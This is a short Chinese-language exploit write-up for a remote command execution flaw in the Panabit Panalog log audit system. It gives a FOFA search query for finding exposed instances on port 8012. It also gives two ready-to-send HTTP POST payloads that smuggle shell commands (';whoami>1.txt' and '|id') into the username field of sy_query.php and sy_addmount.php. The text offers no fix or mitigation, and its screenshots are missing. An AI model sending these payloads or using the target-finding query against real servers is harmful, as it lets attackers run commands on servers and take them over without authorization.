P3-5Panalog-日志审计系统-RCE

漏洞描述：

Panalog日志审计系统 sy_query.php接口处存在远程命令执行漏洞，攻击者可执行任意命令，接管服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：app="Panabit-Panalog" && port="8012"

漏洞复现：

payload：

```
POST /account/sy_query.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

username=;whoami>1.txt
```

效果图:

查看命令执行结果

POC-2

```
POST /account/sy_addmount.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
Connection: close

username=|id
```